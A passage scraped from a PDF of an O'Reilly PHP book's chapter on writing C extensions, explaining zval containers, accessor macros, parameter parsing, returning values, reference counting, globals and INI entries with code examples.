An extension compiled in debug mode does not work in an instance of PHP notcompiled in debug mode. When PHP loads an extension, it checks to see if thedebug setting, the thread-safety setting, and the API version all match. If somethingdoesn’t match, you will get a warning like this:

Warning: foo: Unable to initialize moduleModule compiled with debug=0, thread-safety=0 module API=20010901PHP compiled with debug=1, thread-safety=0 module API=20010901

,ch14.16947 Page 330 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (331)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

The pval/zval Data Type | 331

If you compile the Apache module version of PHP with the --enable-memory-limitswitch, it will add the script’s peak memory usage to the Apache r->notes table. Youcan access this information from other Apache modules, such as mod_log_config.Add this string to your Apache LogFormat line to log the peak number of bytes ascript used:

%{mod_php_memory_usage}n

If you’re having problems with a module allocating too much memory and grindingyour system into the ground, build PHP with the memory-limit option enabled. Thismakes PHP heed the memory_limit directive in your php.ini file, terminating a script ifit tries to allocate more memory than the specified limit. This results in errors likethis:

Fatal error: Allowed memory size of 102400 bytes exhausted at ...(tried to allocate 46080 bytes) in /path/script.php on line 35

The pval/zval Data TypeThroughout the PHP source code, you will see references to both pval and zval.They are the same thing and can be used interchangeably. The pval/zval is the basicdata container in PHP. All data that is passed between the extension API and theuser-level script is passed in this container. You can dig into the header files furtheryourself, but in simple terms, this container is a union that can hold either a long, adouble, a string including the string length, an array, or an object. The union lookslike this:

typedef union _zvalue_value { long lval; double dval; struct { char *val; int len; } str; HashTable *ht; zend_object obj;} zvalue_value;

The main things to learn from this union are that all integers are stored as longs, allfloating-point values are stored in double-precision, and every string has an associ-ated string length value, which, if properly checked everywhere, makes strings inPHP binary-safe.* Strings do not need to be null-terminated, but since most third-party libraries expect null-terminated strings it is a good idea to always null-termi-nate any string you create.

* Binary-safe, sometimes referred to as 8-bit clean, means that a string can contain any of the 256 ASCII values,including the ASCII value 0.

,ch14.16947 Page 331 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (332)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

332 | Chapter 14: Extending PHP

Along with this union, each container has a flag that holds the currently active type,whether it is a reference or not, and the reference count. So the actual pval/zvalstruct looks like this:

struct _zval_struct { zvalue_value value; zend_uchar type; zend_uchar is_ref; zend_ushort refcount;};

Because this structure could change in future versions of PHP, be sure to use the vari-ous access functions and macros described in the following sections, rather thandirectly manipulating the container.

MAKE_STD_ZVAL( )The most basic of the pval/zval access macros provided by the extension API is theMAKE_STD_ZVAL( ) macro:

zval *var;MAKE_STD_ZVAL(var);

This does the following:

• Allocates memory for the structure using emalloc( )

• Sets the container reference count to 1

• Sets the container is_ref flag to 0

At this point, the container has no value—effectively, its value is null. In the “Acces-sor Macros” section, we’ll see how to set a container’s value.

SEPARATE_ZVAL( )Another important macro is SEPARATE_ZVAL( ), used when implementing copy-on-write kinds of behavior. This macro creates a separate copy of a zval container onlyif the structure to be changed has a reference count greater than 1. A reference countof 1 means that nothing else has a pointer to this zval, so we can change it directlyand don’t need to copy off a new zval to change.

Assuming a copy needs to be made, SEPARATE_ZVAL( ) decrements the reference counton the existing zval, allocates a new one, and does a deep copy of whatever value isstored in the original zval to the fresh copy. It then sets the reference count to 1 andis_ref to 0, just like MAKE_STD_ZVAL( ).

zval_copy_ctor( )If you just want to make a deep copy directly and manage your own referencecounts, you can call the zval_copy_ctor( ) function directly.

,ch14.16947 Page 332 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (333)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

The pval/zval Data Type | 333

For example:

zval **old, *new;*new = **old;zval_copy_ctor(new);

Here old is a populated zval container; for example, a container passed to a functionthat we want to modify. Our rot13 example did this in a higher-level way, which wewill explore next.

Accessor MacrosIA large set of macros makes it easy to access fields of a zval. For example:

zval foo;char *string;/* initialize foo and string */Z_STRVAL(foo) = string;

The Z_STRVAL( ) macro accesses the string field of a zval. There are accessor macrosfor every data type that can be stored in a zval. Because you often have pointers tozvals, and sometimes even pointers to pointers to zvals, each macro comes in threeflavors, as shown in Table 14-1.

There are macros to identify the active type of a zval (or zval *, or zval **). They areZ_TYPE( ), Z_TYPE_P( ), and Z_TYPE_PP( ). The possible return values are:

• IS_LONG

• IS_BOOL

• IS_DOUBLE

• IS_STRING

• IS_ARRAY

• IS_OBJECT

• IS_RESOURCE

• IS_NULL

Table 14-1. zval accessor macros

Long Boolean Double String value String length

Z_LVAL( ) Z_BVAL( ) Z_DVAL( ) Z_STRVAL( ) Z_STRLEN( )

Z_LVAL_P( ) Z_BVAL_P( ) Z_DVAL_P( ) Z_STRVAL_P( ) Z_STRLEN_P( )

Z_LVAL_PP( ) Z_BVAL_PP( ) Z_DVAL_PP( ) Z_STRVAL_PP( ) Z_STRLEN_PP( )

HashTable Object Object properties Object class entry Resource value

Z_ARRVAL( ) Z_OBJ( ) Z_OBJPROP( ) Z_OBJCE( ) Z_RESVAL( )

Z_ARRVAL_P( ) Z_OBJ_P( ) Z_OBJPROP_P( ) Z_OBJCE_P( ) Z_RESVAL_P( )

Z_ARRVAL_PP( ) Z_OBJ_PP( ) Z_OBJPROP_PP( ) Z_OBJCE_PP( ) Z_RESVAL_PP( )

,ch14.16947 Page 333 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (334)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

334 | Chapter 14: Extending PHP

The following code shows the rot13( ) function rewritten using low-level functions:

PHP_FUNCTION(rot13){ zval **arg; char *ch, cap; int i;

if (ZEND_NUM_ARGS( ) != 1 || zend_get_parameters_ex(1, &arg) == FAILURE) { WRONG_PARAM_COUNT; } SEPARATE_ZVAL(arg); convert_to_string_ex(arg);

for(i=0, ch=Z_STRVAL_PP(arg); i<Z_STRLEN_PP(arg); i++, ch++) { cap = *ch & 32; *ch &= ~cap; *ch = ((*ch>='A') && (*ch<='Z') ? ((*ch-'A'+13) % 26+'A') : *ch) | cap; } RETURN_STRINGL(Z_STRVAL_PP(arg), Z_STRLEN_PP(arg), 1);}

Rather than using the handy zend_parse_parameters( ) function, we fetch the zvaldirectly using zend_get_parameters_ex( ). We then create a separate copy so that wecan modify this copy without changing the passed container directly. Then we returnit. Note that this is not an improvement on our function, merely a rewrite to showhow you might use the various accessor macros.

Here’s an even lower-level approach that skips the SEPARATE_ZVAL( ) approach andgoes right to a zval_copy_ctor( ):

PHP_FUNCTION(rot13){ zval **arg; char *ch, cap; int i;

if (ZEND_NUM_ARGS( ) != 1 || zend_get_parameters_ex(1, &arg) == FAILURE) { WRONG_PARAM_COUNT; } *return_value = **arg; zval_copy_ctor(return_value); convert_to_string(return_value);

for(i=0, ch=return_value->value.str.val; i<return_value->value.str.len; i++, ch++) { cap = *ch & 32; *ch &= ~cap; *ch = ((*ch>='A') && (*ch<='Z') ? ((*ch-'A'+13) % 26 + 'A') : *ch) | cap; }}

,ch14.16947 Page 334 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (335)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Parameter Handling | 335

The value returned from a PHP function is returned in a special zval container calledreturn_value, which is automatically allocated. In the example, we assign return_value to the passed arg container, call zval_copy_ctor( ) to make a copy, and ensurethat we convert the data to a string.

We also skipped the zval dereferencing convenience macros Z_STRVAL_PP( ) and Z_STRLEN_PP( ) and instead dereferenced the return_value zval container manually.Going this low-level is not recommended, however, as changes in the underlyingdata structures could break your extension.

Parameter HandlingAs we learned in the previous section on the pval/zval container, there are at leasttwo ways to accept and parse arguments to PHP functions you write. We will con-centrate on the higher-level zend_parse_parameters( ) function here.

There are two versions of the function, prototyped like this in C:

int zend_parse_parameters(int num_args TSRMLS_DC, char *type_spec, ...);int zend_parse_parameters_ex(int flags, int num_args TSRMLS_DC, char *type_spec, ...);

They differ only in that the ex, or expanded, version of the function contains a flagsparameter. The only flag currently supported is ZEND_PARSE_PARAMS_QUIET, whichinhibits warnings from supplying an incorrect number or type of arguments.

Both parameter-parsing functions return either SUCCESS or FAILURE. The functionstake any number of extra arguments (pointers to variables whose values are assignedby the parsing function). On failure the return_value of the function is automaticallyset to FALSE, so you can simply return from your function on a failure.

The most complex part of these functions is the type_spec string you pass them.Here’s the relevant part of our rot13 example:

char *arg = NULL;int arg_len, argc = ZEND_NUM_ARGS( );if (zend_parse_parameters(argc TSRMLS_CC, "s/", &arg, &arg_len) == FAILURE) return;

We first get the number of arguments passed to this function by calling the ZEND_NUM_ARGS( ) macro. We pass this number along with a type_spec string of "s/" and thenthe address of a char * and the address of an int. The “s” in the type_spec string indi-cates that we are expecting a string argument. For each string argument, the func-tion fills in the char * and int with the contents of the string and the length of thestring. The “/” character in the type_spec indicates that the string should be sepa-rated from the calling container. We did this in our rot13 example because wewanted to modify the passed string.

,ch14.16947 Page 335 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (336)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

336 | Chapter 14: Extending PHP

The other type_spec specifying characters are given in Table 14-2.

The modifiers that can follow each of these are given in Table 14-3.

A Simple ExampleThe following code gets a long (all integers in PHP are longs), a string, and anoptional double (all floating-point values in PHP are double-precision):

long l;char *s;int s_len;double d = 0.0;if (zend_parse_parameters(ZEND_NUM_ARGS( ) TSRMLS_CC, "ls|d", &l, &s, &s_len) == FAILURE) return;

From a PHP script, this function might be called like this:

$num = 10; $desc = 'This is a test'; $price = 69.95;add_item($num, $desc); // without the optional third argumentadd_item($num, $desc, $price); // with the optional third argument

This results in long l being set to 10, char *s containing the string “This is a Test”, ands_len being set to 14. For the first call, double d maintains the default 0.0 value thatyou set, but in the second call, where the user provides an argument, it is set to 69.95.

Table 14-2. Type specification characters

Character Description

l Long

d Double

s String (with possible NUL-bytes) and its length

b Boolean, stored in zend_bool

r Resource (stored in zval)

a Array

o Object (of any type)

O Object (of specific type, specified by class entry)

z The actual zval

Table 14-3. Type specification modifiers

Modifier Description

| This indicates that all remaining parameters will be optional. Remember to initialize these yourself if they arenot passed by the user. These functions will not put any default values in the parameters.

/ This indicates that the preceding parameter should be separated from the calling parameter, in case you wish tomodify it locally in the function without modifying the original calling parameter.

! This applies only to zval parameters (a, o, O, r, and z) and indicates that the parameter it follows can bepassed a NULL. If the user does pass a NULL, the resulting container is set to NULL.

,ch14.16947 Page 336 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (337)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Parameter Handling | 337

A More Complex ExampleHere’s an example that forces the function to fetch only the first three parameters: anarray, a Boolean, and an object. We are using 'O' and also supplying an object type,which we can check in case we want to accept only a certain class of object.

zval *arr;zend_bool b;zval *obj;zend_class_entry obj_ce;if (zend_parse_parameters(3 TSRMLS_CC, "abO", &arr, &b, &obj, obj_ce) == FAILURE) { return;}

Forcing them to fetch only three parameters is useful for functions that can take avariable amount of parameters. You can then check the total number of argumentspassed to see if there are any further arguments to process.

An Example with Variable Argument ListThe following code illustrates how to process a variable argument list. It uses zend_parse_parameters( ) to fetch the first argument and reads further arguments into azval *** array, then puts all the passed parameters into a PHP array and returnsthem:

PHP_FUNCTION(foo) { long arg; zval ***args; int i, argc = ZEND_NUM_ARGS( );

if (zend_parse_parameters(1 TSRMLS_CC, "l", &arg) == FAILURE) return;

array_init(return_value); add_index_long(return_value, 0, arg);

if(argc>1) { args = (zval ***)emalloc(argc * sizeof(zval **)); if(zend_get_parameters_array_ex(argc, args) == FAILURE) { efree(args); return; } for(i = 1; i < argc; i++) { zval_add_ref(args[i]); add_index_zval(return_value,i, *args[i]); } efree(args); }}

The zval_add_ref( ) call increments the reference count of the zval container. It isexplained in detail in the “References” section.

,ch14.16947 Page 337 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (338)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

338 | Chapter 14: Extending PHP

Returning ValuesKnowing how to get data into a function is only one side of the problem—how doyou get it out? This section shows you how to return values from an extension func-tion, from simple strings or numbers all the way up to arrays and objects.

Simple TypesReturning a value from a function back to the script involves populating the special,preallocated return_value container. For example, this returns an integer:

PHP_FUNCTION(foo) { Z_LVAL_P(return_value) = 99; Z_TYPE_P(return_value) = IS_LONG;}

Since returning a single value is such a common task, there are a number of conve-nience macros to make it easier. The following code uses a convenience macro toreturn an integer:

PHP_FUNCTION(foo) { RETURN_LONG(99);}

The RETURN_LONG( ) macro fills in the container and immediately returns. If for somereason we wanted to populate the return_value container and not return right away,we could use the RETVAL_LONG( ) macro instead.

Returning a string is almost as simple with the convenience macros:

PHP_FUNCTION(rt13) { RETURN_STRING("banana", 1);}

The last argument specifies whether or not the string needs to be duplicated. In thatexample it obviously does, but if we had allocated the memory for the string using anemalloc( ) or estrdup( ) call, we wouldn’t need to make a copy:

PHP_FUNCTION(rt13) { char *str = emalloc(7); strcpy(str, "banana"); RETURN_STRINGL(str, 6, 0);}

Here we see an example of doing our own memory allocation and also using a ver-sion of the RETURN macro that takes a string length. Note that we do not include theterminating NULL in the length of our string.

The available RETURN-related convenience macros are listed in Table 14-4.

,ch14.16947 Page 338 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (339)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Returning Values | 339

ArraysTo return an array from a function in your extension, initialize return_value to be anarray and then fill it with elements. For example, this returns an array with “123” inposition 0:

PHP_FUNCTION(my_func) { array_init(return_value); add_index_long(return_value, 0, 123);}

Call your function from a PHP script like this:

$arr = my_func( ); // $arr[0] holds 123

To add a string element to the array:

add_index_string(return_value, 1, "thestring", 1);

This would result in:

$arr[1] = "thestring"

If you have a static string whose length you know already, use the add_index_stringl( ) function:

add_index_stringl(return_value, 1, "abc", 3, 1);

The final argument specifies whether or not the string you provide should be copied.Normally, you would set this to 1. The only time you wouldn’t is when you haveallocated the memory for the string yourself, using one of PHP’s emalloc( )-like func-tions. For example:

char *str;str = estrdup("abc");add_index_stringl(return_value, 1, str, 3, 0);

Table 14-4. RETURN-related convenience macros

RETURN_RESOURCE(int r) RETVAL_RESOURCE(int r)

RETURN_BOOL(int b) RETVAL_BOOL(int b)

RETURN_NULL( ) RETVAL_NULL( )

RETURN_LONG(int l) RETVAL_LONG(int l)

RETURN_DOUBLE(double d) RETVAL_DOUBLE(double d)

RETURN_STRING(char *s, int dup) RETVAL_STRING(char *s, int dup)

RETURN_STRINGL(char *s, int l, int dup) RETVAL_STRINGL(char *s, int l, int dup)

RETURN_EMPTY_STRING( ) RETVAL_EMPTY_STRING( )

RETURN_FALSE RETVAL_FALSE

RETURN_TRUE RETVAL_TRUE

,ch14.16947 Page 339 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (340)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

340 | Chapter 14: Extending PHP

There are three basic flavors of array-insertion functions: inserting at a specificnumeric index, inserting at the next numeric index, and inserting at a specific stringindex. These flavors exist for all data types.

Inserting at a specific numeric index ($arg[$idx] = $value) looks like this:

add_index_long(zval *arg, uint idx, long n)add_index_null(zval *arg, uint idx)add_index_bool(zval *arg, uint idx, int b)add_index_resource(zval *arg, uint idx, int r)add_index_double(zval *arg, uint idx, double d)add_index_string(zval *arg, uint idx, char *str, int duplicate)add_index_stringl(zval *arg, uint idx, char *str, uint length, int duplicate)add_index_zval(zval *arg, uint index, zval *value)

Inserting at the next numeric index ($arg[] = $value) looks like this:

add_next_index_long(zval *arg, long n)add_next_index_null(zval *arg)add_next_index_bool(zval *, int b)add_next_index_resource(zval *arg, int r)add_next_index_double(zval *arg, double d)add_next_index_string(zval *arg, char *str, int duplicate)add_next_index_stringl(zval *arg, char *str, uint length, int duplicate)add_next_index_zval(zval *arg, zval *value)

And inserting at a specific string index ($arg[$key] = $value) looks like this:

add_assoc_long(zval *arg, char *key, long n)add_assoc_null(zval *arg, char *key)add_assoc_bool(zval *arg, char *key, int b)add_assoc_resource(zval *arg, char *key, int r)add_assoc_double(zval *arg, char *key, double d)add_assoc_string(zval *arg, char *key, char *str, int duplicate)add_assoc_stringl(zval *arg, char *key, char *str, uint length, int duplicate)add_assoc_zval(zval *arg, char *key, zval *value)

ObjectsReturning an object requires you to define the object first. Defining an object from Cinvolves creating a variable corresponding to that class and building an array of func-tions for each of the methods. The MINIT( ) function for your extension should regis-ter the class.

The following code defines a class and returns an object:

static zend_class_entry *my_class_entry_ptr;

static zend_function_entry php_my_class_functions[] = { PHP_FE(add, NULL) PHP_FALIAS(del, my_del, NULL) PHP_FALIAS(list, my_list, NULL)

,ch14.16947 Page 340 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (341)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Returning Values | 341

/* ... */};

PHP_MINIT_FUNCTION(foo){ zend_class_entry foo_class_entry;

INIT_CLASS_ENTRY(foo_class_entry, "my_class", php_foo_class_functions); foo_class_entry_ptr = zend_register_internal_class(&foo_class_entry TSRMLS_CC); /* ... */

PHP_FUNCTION(my_object) { object_init_ex(return_value, foo_class_entry_ptr); add_property_long(return_value,"version", foo_remote_get_version(XG(session))); add_property_bool(...) add_property_string(...) add_property_stringl(...) ...

From the user space, you would then have:

$obj = my_object( );$obj->add( );

If instead you want traditional instantiation, like this:

$obj = new my_class( );

use the automatically initialized this_ptr instead of return_value:

PHP_FUNCTION(my_class) { add_property_long(this_ptr, "version", foo_remote_get_version(XG(session))); add_property_bool(...) add_property_string(...) add_property_stringl(...) ...

You can access class properties from the various functions and methods like this:

zval **tmp;if(zend_hash_find(HASH_OF(this_ptr), "my_property", 12, (void **)&tmp) == SUCCESS) { convert_to_string_ex(tmp); printf("my_property is set to %s\n", Z_STRVAL_PP(status));}

You can set/update a class property as follows:

add_property_string(this_ptr, "filename", fn, 1);add_property_stringl(this_ptr, "key", "value", 5, 1);add_property_bool(this_ptr, "toggle", setting?0:1);add_property_long(this_ptr, "length", 12345);add_property_double(this_ptr, "price", 19.95);

,ch14.16947 Page 341 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (342)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

342 | Chapter 14: Extending PHP

ReferencesReferences at the PHP source level map fairly straightforwardly onto the internals.Consider this PHP code:

<?php $a = "Hello World"; $b =& $a;?>

Here $b is a reference to the same zval container as $a. Internally in PHP, the is_refindicator is set to 1 for both the zval containers, and the reference count is set to 2. Ifthe user then does an unset($b), the is_ref indicator on the $a container is set to 0.The reference count actually remains at 2, since the $a symbol table entry is stillreferring to this zval container and the zval container itself also counts as a refer-ence when the container is not a reference itself (indicated by the is_ref flag beingon). This may be a little bit confusing, but keep reading.

When you allocate a new zval container using MAKE_STD_ZVAL( ), or if you call INIT_PZVAL( ) directly on a new container, the reference count is initialized to 1 and is_refis set to 0. If a symbol table entry is then created for this container, the referencecount becomes 2. If a second symbol table alias is created for this same container,the is_ref indicator is turned on. If a third symbol table alias is created for the con-tainer, the reference count on the container jumps to 3.

A zval container can have a reference count greater than 1 without is_ref beingturned on. This is for performance reasons. Say you want to write a function that cre-ates an n-element array and initializes each element to a given value that you pro-vide, much like PHP’s array_fill( ) function. The code would look something likethis:

PHP_FUNCTION(foo) { long n; zval *val; int argc = ZEND_NUM_ARGS( );

if (zend_parse_parameters(argc TSRMLS_CC, "lz", &n, &val) == FAILURE) return;

SEPARATE_ZVAL(&val); array_init(return_value);

while(n--) { zval_add_ref(&val); add_next_index_zval(return_value, val); }}

The function takes an integer and a raw zval (meaning that the second parameter tothe function can be of any type). It then makes a copy of the passed zval container

,ch14.16947 Page 342 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (343)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Global Variables | 343

using SEPARATE_ZVAL( ), initializes the return_value to be an array, and fills in thearray. The big trick here is the zval_add_ref( ) call. This function increments the ref-erence count on the zval container. Therefore, instead of making n copies of the con-tainer, one for each element, we have only one copy, with a reference count of n+1.Remember, is_ref is still 0 here.

Here’s how this function could be used in a PHP script:

<?php $arr = foo(3, array(1,2,3)); print_r($arr);?>

This would result in a two-dimensional array that looks like this:

$arr[0][0] = 1 $arr[0][1] = 2 $arr[0][2] = 3$arr[1][0] = 1 $arr[1][1] = 2 $arr[1][2] = 3$arr[2][0] = 1 $arr[2][1] = 2 $arr[2][2] = 3

Internally, a copy-on-write of the appropriate container is done if any of these arrayelements are changed. The engine knows to do a copy-on-write when it sees some-thing being assigned to a zval container whose reference count is greater than 1 andwhose is_ref is 0. We could have written our function to do a MAKE_STD_ZVAL( ) foreach element in our array, but it would have been about twice as slow as simplyincrementing the reference count and letting a copy-on-write make a separate copylater if necessary.

Global VariablesTo access an internal PHP global variable from a function in your extension, you firsthave to determine what kind of global variable it is. There are three main types: SAPIglobals, executor globals, and extension globals.

SAPI Globals (SG)SAPI is the Server Abstraction API. It contains any variables related to the web serverunder which PHP is running. Note that not all SAPI modules are related to web serv-ers. The command-line version of PHP, for example, uses the CGI SAPI layer. Thereis also a Java SAPI module. You can check which SAPI module you are runningunder by including SAPI.h and then checking sapi_module.name:

#include <SAPI.h>/* then in a function */printf("the SAPI module is %s\n", sapi_module.name);

See the sapi_globals_struct in the main/SAPI.h file for a list of available SAPI glo-bals. For example, to access the default_mimetype SAPI global, you would use:

SG(default_mimetype)

,ch14.16947 Page 343 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (344)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

344 | Chapter 14: Extending PHP

Some elements of the SAPI globals structure are themselves structures with fields.For example, to access the request_uri, use:

SG(request_info).request_uri

Executor Globals (EG)These are runtime globals defined internally by the Zend executor. The most com-mon EG variables are symbol_table (which holds the main symbol table) and active_symbol_table (which holds the currently visible symbols).

For example, to see if the user-space $foo variable has been set, you could do:

zval **tmp;if(zend_hash_find(&EG(symbol_table), "foo", sizeof("foo"), (void **)&tmp) == SUCCESS) { RETURN_STRINGL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));} else { RETURN_FALSE;}

Internal Extension GlobalsSometimes you need extensionwide global C variables. Since an extension has to bethread-safe, global variables are a problem. You can solve this problem by creating astruct—each would-be global variable becomes a field in the struct. When compiledas a thread-safe extension, macros take care of passing this struct around. Whencompiled as a non-thread-safe extension, the struct is a true global struct that isaccessed directly. This way, the non-thread-safe builds do not suffer the slight perfor-mance penalty of passing around this global struct.

These macros look something like this for a thread-safe build:

#define TSRMLS_FETCH( ) void ***tsrm_ls = (void ***) ts_resource_ex(0, NULL)#define TSRMG(id,type,el) (((type) (*((void ***) \ tsrm_ls))[TSRM_UNSHUFFLE_RSRC_ID(id)])->el)#define TSRMLS_D void ***tsrm_ls#define TSRMLS_DC , TSRMLS_D#define TSRMLS_C tsrm_ls#define TSRMLS_CC , TSRMLS_C

For the non-thread-safe build, they don’t do anything and are simply defined as:

#define TSRMLS_FETCH( )#define TSRMLS_D void#define TSRMLS_DC#define TSRMLS_C#define TSRMLS_CC#endif /* ZTS */

So, to create extensionwide global variables, you first need to create a struct in whichto store them, along with the thread-safe and non-thread-safe access macros.

,ch14.16947 Page 344 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (345)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Creating Variables | 345

The struct looks like this in the php_foo.h header file:

ZEND_BEGIN_MODULE_GLOBALS(foo) int some_integer; char *some_string;ZEND_END_MODULE_GLOBALS(foo)

#ifdef ZTS# define FOO_G(v) TSRMG(foo_globals_id, zend_foo_globals *, v)#else# define FOO_G(v) (foo_globals.v)#endif

The ext_skel tool creates most of this for you. You simply have to uncomment theright sections.

In the main extension file, foo.c, you need to declare that your extension has globalsand define a function to initialize each member of your global struct:

ZEND_DECLARE_MODULE_GLOBALS(foo)static void php_foo_init_globals(zend_foo_globals *foo_globals){ foo_globals->some_integer = 0; foo_globals->some_string = NULL;}

To have your initialization function called on module initialization, add this insidethe PHP_MINIT_FUNCTION( ):

ZEND_INIT_MODULE_GLOBALS(foo, php_foo_init_globals, NULL);

To access one of these globals, some_integer or some_string, use FOO_G(some_integer) or FOO_G(some_string). Note that the struct must be available in the func-tion in order to use the FOO_G( ) macro. For all standard PHP functions, the globalstruct is automatically and invisibly passed in.

However, if you write your own utility functions that need to access the global val-ues, you’ll have to pass in the struct yourself. The TSRMLS_CC macro does this for you,so calls to your utility functions look like:

foo_utility_function(my_arg TSRMLS_CC);

When you declare foo_utility_function( ), use the TSRMLS_DC macro to receive theglobal struct:

static void foo_utility_function(int my_arg TSRMLS_DC);

Creating VariablesAs we saw in the previous section, the symbol_table and active_symbol_table hashescontain user-accessible variables. You can inject new variables or change existingones in these hashes.

,ch14.16947 Page 345 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (346)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

346 | Chapter 14: Extending PHP

Here is a trivial function that, when called, creates $foo with a value of 99 in the cur-rently active symbol table:

PHP_FUNCTION(foo){ zval *var;

MAKE_STD_ZVAL(var); Z_LVAL_P(var)=99; Z_TYPE_P(var)=IS_LONG;

ZEND_SET_SYMBOL(EG(active_symbol_table), "foo", var);}

That means that if this function was called from within a user-space function, thevariable would be injected into the function-local symbol table. If this function wascalled from the global scope, the variable would, of course, be injected into the globalsymbol table. To inject the variable directly into the global symbol table regardless ofthe current scope, simply use EG(symbol_table) instead of EG(active_symbol_table).Note that the global symbol table is not a pointer.

Here we also see an example of manually setting the type of a container and filling inthe corresponding long value. The valid container-type constants are:

#define IS_NULL 0#define IS_LONG 1#define IS_DOUBLE 2#define IS_STRING 3#define IS_ARRAY 4#define IS_OBJECT 5#define IS_BOOL 6#define IS_RESOURCE 7#define IS_CONSTANT 8#define IS_CONSTANT_ARRAY 9

The ZEND_SET_SYMBOL( ) macro is somewhat complex. It first checks to see if the sym-bol you are setting is already there and if that symbol is a reference. If so, the existingcontainer is reused and simply pointed at the new data you have provided. If thesymbol does not already exist, or it exists and it isn’t a reference, zend_hash_update( )is called. zend_hash_update( ) directly overwrites and frees the existing value. You cancall zend_hash_update( ) directly yourself if you want to and if you are more worriedabout performance than memory conservation. This is similar to the previous exam-ple, except that we force an overwrite in the symbol table using zend_hash_update( ):

PHP_FUNCTION(foo){ zval *var;

MAKE_STD_ZVAL(var); Z_LVAL_P(var)=99; Z_TYPE_P(var)=IS_LONG;

,ch14.16947 Page 346 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (347)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Extension INI Entries | 347

zend_hash_update(&EG(symbol_table), "foo", sizeof("foo"), &var, sizeof(zval *), NULL);}

The arguments to zend_hash_update( ) should be self-explanatory, except for thatfinal NULL. To get back the address of the new container, pass a void ** instead ofNULL; the void * whose address you pass will be set to the address of the new con-tainer. Typically, this last argument is always NULL.

Extension INI EntriesDefining php.ini directives (i.e., INI entries) in an extension is easy. Most of the workinvolves setting up the global struct explained earlier in the section “Internal Exten-sion Globals.” Each entry in the INI structure is a global variable in the extensionand thus has an entry in the global struct and is accessed using FOO_G(my_ini_setting). For the most part you can simply comment out the indicated sections inthe skeleton created by ext_skel to get a working INI directive, but we will walkthrough it here anyway.

To add a custom INI entry to your extension, define it in your main foo.c file using:

PHP_INI_BEGIN( ) STD_PHP_INI_ENTRY("foo.my_ini_setting", "0", PHP_INI_ALL, OnUpdateInt, setting, zend_foo_globals, foo_globals)PHP_INI_END( )

The arguments to the STD_PHP_INI_ENTRY( ) macro are: entry name, default entryvalue, change permissions, pointer to change modification handler, correspondingglobal variable, global struct type, and global struct. The entry name and defaultentry value should be self-explanatory. The change permissions parameter specifieswhere this directive can be changed. The valid options are:

PHP_INI_SYSTEMThe directive can be changed in php.ini or in httpd.conf using the php_admin_flag/php_admin_value directives.

PHP_INI_PERDIRThe directive can be changed in httpd.conf or .htaccess (if AllowOverride OPTIONSis set) using the php_flag/php_value directives.

PHP_INI_USERThe user can change the directive using the ini_set( ) function in scripts.

PHP_INI_ALLA shortcut that means that the directive can be changed anywhere.

The change modification handler is a pointer to a function that will be called whenthe directive is modified. For the most part, you will probably use one of the built-inchange-handling functions here.

,ch14.16947 Page 347 Wednesday, March 13, 2002 11:46 AM

Programming php 1 - [PDF Document] (348)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

348 | Chapter 14: Extending PHP

The functions available to you are:

OnUpdateBoolOnUpdateIntOnUpdateRealOnUpdateStringOnUpdateStringUnempty

However, there may be cases where you want to check the contents of an INI settingfor validity before letting it be set, or there may be things you need to call to initial-ize or reconfigure when one of these settings is changed. In those cases, you will haveto write your own change-handling function.

When you have a custom change handler, you use a simpler INI definition. In placeof STD_PHP_INI_ENTRY( ), as shown previously, use:

PHP_INI_ENTRY("foo.my_ini_setting", "0", PHP_INI_ALL, MyUpdateSetting)

The MyUpdateSetting( ) function can then be defined like this:

static PHP_INI_MH(MyUpdateSetting) { int val = atoi(new_value); if(val>10) { return FAILURE; } FOO_G(value) = val; return SUCCESS;}

